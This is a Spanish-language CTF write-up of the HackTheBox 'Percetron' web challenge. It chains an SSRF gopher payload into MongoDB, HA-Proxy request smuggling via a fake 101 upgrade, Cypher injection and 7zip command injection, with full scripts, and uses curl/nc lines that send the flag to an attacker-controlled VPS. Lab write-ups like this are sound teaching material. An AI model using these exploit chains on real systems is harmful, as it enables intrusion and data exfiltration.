Percetron
13 minutos de lectura
Se nos proporciona un sitio web donde podemos registrarnos e iniciar sesión para tener este dashboard:
Además, tenemos todo el proyecto web para realizar el análisis.
Análisis del código fuente
El servidor web ejecuta Express JS (Node.js). El archivo index.js
es bastante estándar, pero podemos ver que usa MongoDB y neo4j:
require("dotenv").config();
const path = require("path");
const express = require("express");
const session = require("express-session");
const mongoose = require("mongoose");
const Neo4jConnection = require("./util/neo4j");
const MongoDBConnection = require("./util/mongo");
const { migrate } = require("./util/generic");
const genericRoutes = require("./routes/generic");
const panelRoutes = require("./routes/panel");
const application = express();
const neo4j = new Neo4jConnection();
const mongodb = new MongoDBConnection();
application.use("/static", express.static(path.join(__dirname, "static")));
application.use(express.urlencoded({ extended: true }));
application.use(express.json());
application.use(
session({
secret: process.env.SESSION_SECRET,
resave: true,
saveUninitialized: true,
})
);
application.set("view engine", "pug");
application.use(genericRoutes);
application.use(panelRoutes);
setTimeout(async () => {
await mongoose.connect(process.env.MONGODB_URL);
await migrate(neo4j, mongodb);
await application.listen(3000, "0.0.0.0");
console.log("Listening on port 3000");
}, 10000);
MongoDB se utiliza para la autenticación y autorización del usuario, utilizando mongoose
. Este es el único modelo que tenemos:
const mongoose = require("mongoose");
const userSchema = new mongoose.Schema({
username: { type: String, unique: true },
password: String,
permission: String,
});
const Users = mongoose.model("Users", userSchema);
module.exports = Users;
Solo hay dos endpoints que interactúan directamente con MongoDB (challenge/routes/panel.js
):
router.post("/panel/register", async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const db = new MongoDBConnection();
if (!(username && password)) return res.render("error", {message: "Missing parameters"});
if (!(await db.registerUser(username, password, "user")))
return res.render("error", {message: "Could not register user"});
res.redirect("/panel/login");
});
router.post("/panel/login", async (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (!(username && password)) return res.render("error", {message: "Missing parameters"});
const db = new MongoDBConnection();
if (!(await db.validateUser(username, password)))
return res.render("error", {message: "Invalid user or password"});
const userData = await db.getUserData(username);
req.session.loggedin = true;
req.session.username = username;
req.session.permission = userData.permission;
res.redirect("/panel");
});
Como se puede ver, el endpoint /register
establece nuestro permiso a user
. Nos gustaría tener permiso de administrator
porque necesitamos pasar el AdminMiddleware
para continuar con la explotación:
module.exports = async (req, res, next) => {
if (!req.session.loggedin || req.session.permission != "administrator") {
return res.status(401).send({message: "Not allowed"});
}
next();
};
Vale la pena mencionar que el endpoint /login
es vulnerable a inyección NoSQL porque los parámetros username
y password
se envían directamente a MongoDB, sin verificar si son strings. Sin embargo, esto es inútil porque la base de datos está vacía al principio, por lo que no podemos simplemente iniciar sesión como administrator
.
Hay dos endpoints interesantes que nos permiten realizar peticiones a una URL dada (challenge/routes/generic.js
):
const axios = require("axios");
const express = require("express");
const router = express.Router();
const authMiddleware = require("../middleware/auth");
const { check, getUrlStatusCode } = require("../util/generic");
router.get("/", (req, res) => {
res.redirect("/panel");
});
router.get("/healthcheck", authMiddleware, (req, res) => {
const targetUrl = req.query.url;
if (!targetUrl) {
return res.status(400).json({ message: "Mandatory URL not specified" });
}
if (!check(targetUrl)) {
return res.status(403).json({ message: "Access to URL is denied" });
}
axios.get(targetUrl, { maxRedirects: 0, validateStatus: () => true, timeout: 40000 })
.then(resp => {
res.status(resp.status).send();
})
.catch(() => {
res.status(500).send();
});
});
router.get("/healthcheck-dev", authMiddleware, async (req, res) => {
let targetUrl = req.query.url;
if (!targetUrl) {
return res.status(400).json({ message: "Mandatory URL not specified" });
}
getUrlStatusCode(targetUrl)
.then(statusCode => {
res.status(statusCode).send();
})
.catch(() => {
res.status(500).send();
});
});
module.exports = router;
Ambos endpoints son bastante similares, pero hay algunas diferencias. Por un lado, /healthcheck
:
- Usa
axios
, que es una librería que permite usar esquemashttp
,https
,file
ydata
(más información en axios) axios
está configurado conmaxRedirects = 0
- Solo obtendremos el código de estado HTTP como salida
- La URL se verifica utilizando la siguiente función:
exports.check = (url) => {
const parsed = new URL(url);
if (isNaN(parseInt(parsed.port))) {
return false;
}
if (parsed.port == "1337" || parsed.port == "3000") {
return false;
}
if (parsed.pathname.toLowerCase().includes("healthcheck")) {
return false;
}
const bad = ["localhost", "127", "0177", "000", "0x7", "0x0", "@0", "[::]", "0:0:0", "①②⑦"];
if (bad.some(w => parsed.hostname.toLowerCase().includes(w))) {
return false;
}
return true;
}
Por otro lado, tenemos /healthcheck-dev
:
- No verifica la URL
- Ejecuta
curl
con parámetros específicos, de modo que solo obtenemos el código de estado HTTP:
exports.getUrlStatusCode = (url) => {
return new Promise((resolve, reject) => {
const curlArgs = ["-L", "-I", "-s", "-o", "/dev/null", "-w", "%{http_code}", url];
execFile("curl", curlArgs, (error, stdout, stderr) => {
if (error) {
reject(error);
return;
}
const statusCode = parseInt(stdout, 10);
resolve(statusCode);
});
});
}
Sin embargo, hay un HA-Proxy frente al servidor Express, que bloquea explícitamente cualquier petición a /healthcheck-dev
(conf/haproxy.conf
):
global
log /dev/log local0
log /dev/log local1 notice
maxconn 4096
user haproxy
group haproxy
defaults
mode http
timeout connect 5000
timeout client 10000
timeout server 10000
frontend http-in
bind *:1337
default_backend forward_default
backend forward_default
http-request deny if { path -i -m beg /healthcheck-dev }
server s1 127.0.0.1:3000
Básicamente, tenemos esta estructura:
Podemos dejar el análisis del código fuente aquí hasta que tengamos un usuario con permiso de administrator
.
Explotación de SSRF
El objetivo aquí es insertar un usuario administrator
en MongoDB. Para esto, debemos usar Server-Side Request Forgery (SSRF) con uno de los endpoints de /healthcheck
o /healthcheck-dev
.
MongoDB Wire Protocol
Mientras investigaba cómo realizar SSRF a MongoDB, encontré un write-up del DiceCTF 2023 que usaba MongoDB Wire Protocol mediante telnet
. Tomé el script para generar el payload de BSON desde ahí y modifiqué la consulta para insertar un usuario administrator
(la contraseña es asdf
, aplicando bcrypt
como función hash):
const BSON = require('bson');
const fs = require('fs');
// Serialize a document
const doc = {insert: "users", $db: "percetron", documents: [{
"username": "administrator",
"password": "$2a$10$yPklsGI8uhnptd0TP.rUBuwFM1yLjnguL3bTaQ7j3qWFsUIbUKbUC",
"permission": "administrator",
}]};
const data = BSON.serialize(doc);
let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);
En este punto, en el write-up usan curl
con el esquema telnet://
para enviar el payload como un cuerpo de petición. Esta vez, no podemos hacer eso porque /healthcheck-dev
ejecuta curl
sin datos, solo con la URL.
Protocolo Gopher
Pero recuerdo de otros retos de CTF que curl
soporta el esquema gopher://
, Entonces podemos realizar lo mismo usando esta URL:
gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00
Podemos verificar que funcione dentro del contenedor de Docker:
$ docker ps -a | grep percetron
67a4897960f1 web_percetron "/entrypoint.sh" 9 minutes ago Up 9 minutes 0.0.0.0:1337->1337/tcp, :::1337->1337/tcp web_percetron
$ docker exec -it 67a4897960f1 sh
/app # mongo percetron --eval 'db.users.find().pretty()' --quiet
{
"_id" : ObjectId("65f2e6e2a642b8770e443027"),
"username" : "asdf",
"password" : "$2a$10$t8DVP9VhCCqz5tyEIBDcNevEYWfc2UPHXNTZKBVNaojbjlQn4OHuO",
"permission" : "user",
"__v" : 0
}
/app # curl gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
/app # mongo percetron --eval 'db.users.find().pretty()' --quiet
{
"_id" : ObjectId("65f2e6e2a642b8770e443027"),
"username" : "asdf",
"password" : "$2a$10$t8DVP9VhCCqz5tyEIBDcNevEYWfc2UPHXNTZKBVNaojbjlQn4OHuO",
"permission" : "user",
"__v" : 0
}
{
"_id" : ObjectId("65f2e84e82006b0cb78b8168"),
"username" : "administrator",
"password" : "$2a$10$yPklsGI8uhnptd0TP.rUBuwFM1yLjnguL3bTaQ7j3qWFsUIbUKbUC",
"permission" : "administrator"
}
Perfecto, así que vemos que necesitamos alcanzar /healthchec-dev
, porque axios
no soporta gopher://
.
Intentos fallidos
Una idea que tuvimos es intentar de alguna manera realizar SSRF desde /healthcheck
hacia /healthcheck-dev
. Pero esto no es posible porque la función check
nos bloqueará y también, la petición no lleva nuestra cookie de sesión, así que AuthMiddleware
bloqueará la petición a /healthcheck-dev
.
Por lo tanto, debemos saltarnos el HA-Proxy. Una opción es tratar de confundir los analizadores de URL, de modo que HA-Proxy no vea /healthcheck-dev
but Express sí. Después de varios paths como //healthcheck-dev
o /./healtcheck-dev
, entre otros payloads similares, descubrimos que no es posible en Express.
HTTP request smuggling mediante WebSocket
Otra cosa a considerar es la versión de HA-Proxy. El contenedor de Docker está usando una imagen haproxy:2.2.29-alpine
. La versión específica es 2.2.29:
/app # haproxy -v
HA-Proxy version 2.2.29-c5b927c 2023/02/14 - https://haproxy.org/
Status: long-term supported branch - will stop receiving fixes around Q2 2025.
Known bugs: http://www.haproxy.org/bugs/bugs-2.2.29.html
Running on: Linux 6.10.4-linuxkit #1 SMP Mon Aug 12 08:47:01 UTC 2024 x86_64
Si buscamos algún CVE con respecto a HA-Proxy, encontraremos muchos, pero ninguno de ellos coincidirá con la versión 2.2.29. La idea aquí es que debemos encontrar algún ataque de HTTP request smuggling para llegar a /healthcheck-dev
sin pasar por el HA-Proxy. Sin embargo, la versión de HA-Proxy parece segura contra ataques convencionales de HTTP request smuggling.
Si buscamos técnicas avanzadas relacionadas con HTTP request smuggling, podríamos llegar a este repositorio de GitHub. Aquí, el autor muestra cómo usar un código de estado 101 (Switching Protocols) para engañar al proxy y que piense que la conexión entrante está cambiando a WebSocket. Como resultado, la conexión TCP se deja abierta.La parte relevante es que la conexión es de extremo a extremo, por lo que el proxy ya no es parte de la conexión, y entonces podemos acceder a /healthcheck-dev
sin limitaciones. Esto realmente funciona porque el servidor devuelve el mismo código de estado, por lo que el HA-Proxy confía que es cierto de alguna manera.
En resumen, realizaremos dos peticiones en la misma conexión:
- El primer mensaje se realizará desde
/healthcheck
a un VPS controlado que responderá con código de estado 101 - El segundo mensaje se irá a
/healthcheck-dev
usando el payload de Wire Protocol de MongoDB a través de Gopher
Este es el servidor que se ejecuta en el VPS:
#!/usr/bin/env python3
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return '', 101
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
Y este es el script que realiza el ataque:
#!/usr/bin/env python3
from pwn import remote, sys
ssrf_url = 'gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00'
host, port = sys.argv[1].split(':')
vps_url = sys.argv[2]
cookie = sys.argv[3]
io = remote(host, port, level='DEBUG')
req1 = (f'GET /healthcheck?url={vps_url} HTTP/1.1\r\n'
f'Host: 127.0.0.1:1337\r\n'
f'Cookie: connect.sid={cookie}\r\n'
f'\r\n')
io.send(req1.encode())
io.recv()
req2 = (f'GET /healthcheck-dev?url={ssrf_url} HTTP/1.1\r\n'
f'Host: 127.0.0.1:1337\r\n'
f'Cookie: connect.sid={cookie}\r\n'
f'\r\n')
io.send(req2.encode())
io.recv()
Si ejecutamos el script, ejecutaremos nuestro payload correctamente:
$ python3 test.py 83.136.254.142:42264 http://12.34.56.78:5000 s%3AkxFxX1RvSct9g7iCH3Ug3R_dWg7WintX.59PVaAb6Axpk8vrNK6mLry4q4YjnJM1nAtOCGwX5uVw
[+] Opening connection to 83.136.254.142 on port 42264: Done
[DEBUG] Sent 0xb8 bytes:
b'GET /healthcheck?url=http://12.34.56.78:5000 HTTP/1.1\r\n'
b'Host: 127.0.0.1:1337\r\n'
b'Cookie: connect.sid=s%3AkxFxX1RvSct9g7iCH3Ug3R_dWg7WintX.59PVaAb6Axpk8vrNK6mLry4q4YjnJM1nAtOCGwX5uVw\r\n'
b'\r\n'
[DEBUG] Received 0x77 bytes:
b'HTTP/1.1 101 Switching Protocols\r\n'
b'x-powered-by: Express\r\n'
b'date: Sun, 15 Sep 2024 14:22:07 GMT\r\n'
b'keep-alive: timeout=5\r\n'
b'\r\n'
[DEBUG] Sent 0x34e bytes:
b'GET /healthcheck-dev?url=gopher://0.0.0.0:27017/_%dc%00%00%00%00%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%c7%00%00%00%02%69%6e%73%65%72%74%00%06%00%00%00%75%73%65%72%73%00%02%24%64%62%00%0a%00%00%00%70%65%72%63%65%74%72%6f%6e%00%04%64%6f%63%75%6d%65%6e%74%73%00%92%00%00%00%03%30%00%8a%00%00%00%02%75%73%65%72%6e%61%6d%65%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%02%70%61%73%73%77%6f%72%64%00%3d%00%00%00%24%32%61%24%31%30%24%79%50%6b%6c%73%47%49%38%75%68%6e%70%74%64%30%54%50%2e%72%55%42%75%77%46%4d%31%79%4c%6a%6e%67%75%4c%33%62%54%61%51%37%6a%33%71%57%46%73%55%49%62%55%4b%62%55%43%00%02%70%65%72%6d%69%73%73%69%6f%6e%00%0e%00%00%00%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%00%00%00%00 HTTP/1.1\r\n'
b'Host: 127.0.0.1:1337\r\n'
b'Cookie: connect.sid=s%3AkxFxX1RvSct9g7iCH3Ug3R_dWg7WintX.59PVaAb6Axpk8vrNK6mLry4q4YjnJM1nAtOCGwX5uVw\r\n'
b'\r\n'
[DEBUG] Received 0xa4 bytes:
b'HTTP/1.1 500 Internal Server Error\r\n'
b'X-Powered-By: Express\r\n'
b'Date: Sun, 15 Sep 2024 14:22:07 GMT\r\n'
b'Connection: keep-alive\r\n'
b'Keep-Alive: timeout=5\r\n'
b'Content-Length: 0\r\n'
b'\r\n'
[*] Closed connection to 83.136.254.142 port 42264
Y en este punto estamos como administrator
(obsérvese que tenemos una pestaña “Management”):
Obteniendo RCE
Ahora que hemos completado la primera parte, debemos echar un vistazo a lo que falta para resolver el reto. Nos vemos obligados a conseguir la ejecución remota de comandos (RCE) porque el nombre de archivo de la flag se aleatoriza en entrypoint.sh
:
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
Con permisos de administrator
, podemos añadir nuevos certificados:
router.post("/panel/management/addcert", adminMiddleware, async (req, res) => {
const pem = req.body.pem;
const pubKey = req.body.pubKey;
const privKey = req.body.privKey;
if (!(pem && pubKey && privKey)) return res.render("error", {message: "Missing parameters"});
const db = new Neo4jConnection();
const certCreated = await db.addCertificate({"cert": pem, "pubKey": pubKey, "privKey": privKey});
if (!certCreated) {
return res.render("error", {message: "Could not add certificate"});
}
res.redirect("/panel/management");
});
Aquí, el servidor interactúa con neo4j en la función addCertificate
:
async addCertificate(cert) {
const certPath = path.join(this.certDir, randomHex(10) + ".cert");
const certInfo = parseCert(cert.cert);
if (!certInfo) {
return false;
}
const insertCertQuery = `
CREATE (:Certificate {
common_name: '${certInfo.issuer.commonName}',
file_name: '${certPath}',
org_name: '${certInfo.issuer.organizationName}',
locality_name: '${certInfo.issuer.localityName}',
state_name: '${certInfo.issuer.stateOrProvinceName}',
country_name: '${certInfo.issuer.countryName}'
});
`;
try {
await this.runQuery(insertCertQuery);
fs.writeFileSync(certPath, cert.cert);
return true;
} catch (error) {
return false;
}
}
Inyección Cypher (neo4j)
Como se puede ver, podemos indicar muchos atributos de un certificado PKI que será administrado por neo4j, que es una base de datos basada en grafos. Pero hay una inyección (conocida como inyección Cypher, que lleva el nombre del lenguaje neo4j) porque podemos insertar cualquier cadena (similar a una inyección SQL). Para obtener más información, puede echar un vistazo a Pentester Land.
La clave aquí es que podemos controlar el atributo file_name
del certificado inyectando dentro de common_name
. Una vez que tenemos una escritura arbitraria de archivo, podemos usar /panel/management/dl-certs
:
router.get("/panel/management/dl-certs", adminMiddleware, async (req, res) => {
const db = new Neo4jConnection();
const certificates = await db.getAllCertificates();
let dirsArray = [];
for (let i = 0; i < certificates.length; i++) {
const cert = certificates[i];
const filename = cert.file_name;
const absolutePath = path.resolve(__dirname, filename);
const fileDirectory = path.dirname(absolutePath);
dirsArray.push(fileDirectory);
}
dirsArray = [...new Set(dirsArray)];
const zipArray = [];
let madeError = false;
for (let i = 0; i < dirsArray.length; i++) {
if (madeError) break;
const dir = dirsArray[i];
const zipName = "/tmp/" + randomHex(16) + ".zip";
sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
madeError = true;
})
zipArray.push(zipName);
}
if (madeError) {
res.render("error", {message: "Error compressing files"});
} else {
res.send(zipArray);
}
});
Este endpoint toma todos los certificados disponibles de neo4j y utiliza una librería externa llamada @steezcram/sevenzip
para comprimir todos los certificados en un archivo ZIP. Sin embargo, es extraño que el servidor no permita descargar el archivo ZIP… Solo muestra el valor de zipArray
, que contiene una lista con los diferentes nombres de archivos ZIP.
Aquí, comenzamos a pensar en aluna manera en la que podríamos usar la inyección Cypher para realizar peticiones out-of-band y exfiltrar la flag, o incluso el archivo ZIP. Este enfoque no era muy asequible, porque la flag está en el directorio /
, por lo que el servidor debería comprimir todo el sistema de archivos…
Inyección de comandos
Mientras buscábamos vulnerabilidades de @steezcram/sevenzip
, descubrimos que es un proyecto GitHub de baja popularidad, solo tenía 7 estrellas. Entonces, puede haber alguna vulnerabilidad aquí.
De hecho, descubrimos que usa child_process.execFile
con shell = true
, entonces podríamos inyectar comandos.
Podemos probar un payload de inyección de comandos simple dentro del contenedor de Docker para ver cómo se crea el comando:
/app # node
Welcome to Node.js v16.20.2.
Type ".help" for more information.
> const sevenzip = require("@steezcram/sevenzip");
undefined
> sevenzip.compress("zip", {dir: '/app; nc 0 4444 < /fl*', destination: '/tmp/file.zip', is64: true}, () => {})
Promise {
<pending>,
[Symbol(async_id_symbol)]: 617,
[Symbol(trigger_async_id_symbol)]: 5
}
> Uncaught:
Error: Command failed: /app/node_modules/7zip-bin/linux/x64/7za a -tzip "/tmp/file.zip" "/app; nc 0 4444 < /fl*" -mm=Deflate64 -bsp1
/bin/sh: /app/node_modules/7zip-bin/linux/x64/7za: Permission denied
at __node_internal_genericNodeError (node:internal/errors:857:15)
at ChildProcess.exithandler (node:child_process:402:12)
at ChildProcess.emit (node:events:513:28)
at ChildProcess.emit (node:domain:552:15)
at maybeClose (node:internal/child_process:1100:16)
at Socket.<anonymous> (node:internal/child_process:458:11)
at Socket.emit (node:events:513:28)
at Socket.emit (node:domain:552:15) {
code: 126,
killed: false,
signal: null,
cmd: '/app/node_modules/7zip-bin/linux/x64/7za a -tzip "/tmp/file.zip" "/app; nc 0 4444 < /fl*" -mm=Deflate64 -bsp1'
}
Entonces, sabemos cómo inyectar un comando. Podemos probarlo usando curl
y nc
en otra shell:
> sevenzip.compress("zip", {dir: '";curl 127.0.0.1;"', destination: '/tmp/file.zip', is64: true}, () => {})
Promise {
<pending>,
[Symbol(async_id_symbol)]: 1779,
[Symbol(trigger_async_id_symbol)]: 5
}
/app # nc -nlvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 127.0.0.1 60554 received!
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.70.0
Accept: */*
En este punto, podríamos enviarnos la flag desde el contenedor remoto a un servidor controlado, solo necesitamos insertar el payload de inyección de comandos anterior dentro del nombre de archivo que estará dentro de el payload de inyección Cypher.
Para esto, aprovecharemos una función llamada generateCert
en challenge/util/x509.js
:
> const { generateCert } = require('./util/x509')
undefined
> let cert = generateCert(`', file_name: '/app/$(curl 12.34.56.78 -T /fl*)/asdf.crt', /*`, `*/ org_name: 'asdf`, 'locality', 'state', 'ES')
undefined
> console.log(cert.cert)
-----BEGIN CERTIFICATE-----
MIIDrTCCApWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBmTELMAkGA1UEBhMCRVMx
...
6Lj/RMVsOEvramCErbiJ0IaH9JVO6zVKfT8MnKCPo9Ot
-----END CERTIFICATE-----
undefined
> console.log(cert.pubKey)
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuQEtEZk88w55N6LFlnhe
...
JQIDAQAB
-----END PUBLIC KEY-----
undefined
> console.log(cert.privKey)
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuQEtEZk88w55N6LFlnheKcSJ7i9HUQFyFX5aVIOUhkXgKLq5
...
UilBqoI2Lh2gkm9NuIDAchuYYk+sOfVd1AWqWKuAEO0F1UX1WqjZ
-----END RSA PRIVATE KEY-----
undefined
No todas las cargas útiles de inyección de comandos funcionaron, pero después de algunas pruebas podemos obtener una que funcione.
Ahora, simplemente copiamos el certificado anterior, la clave pública y la clave privada en la aplicación web:
Luego, guardamos el certificado y finalmente hacemos click en “Download All”.
Flag
El servidor ejecutará nuestro payload de inyección de comandos y enviará la flag a nuestro servidor controlado:
$ nc -nlvp 80
Listening on 0.0.0.0 80
Connection received on 83.136.254.142 55374
PUT /flage7d441ffa4.txt HTTP/1.1
Host: 12.34.56.78
User-Agent: curl/7.70.0
Accept: */*
Content-Length: 49
Expect: 100-continue
HTB{br34k_all_m34sur35_4nd_bypas5__4l1_f1r3wal1s}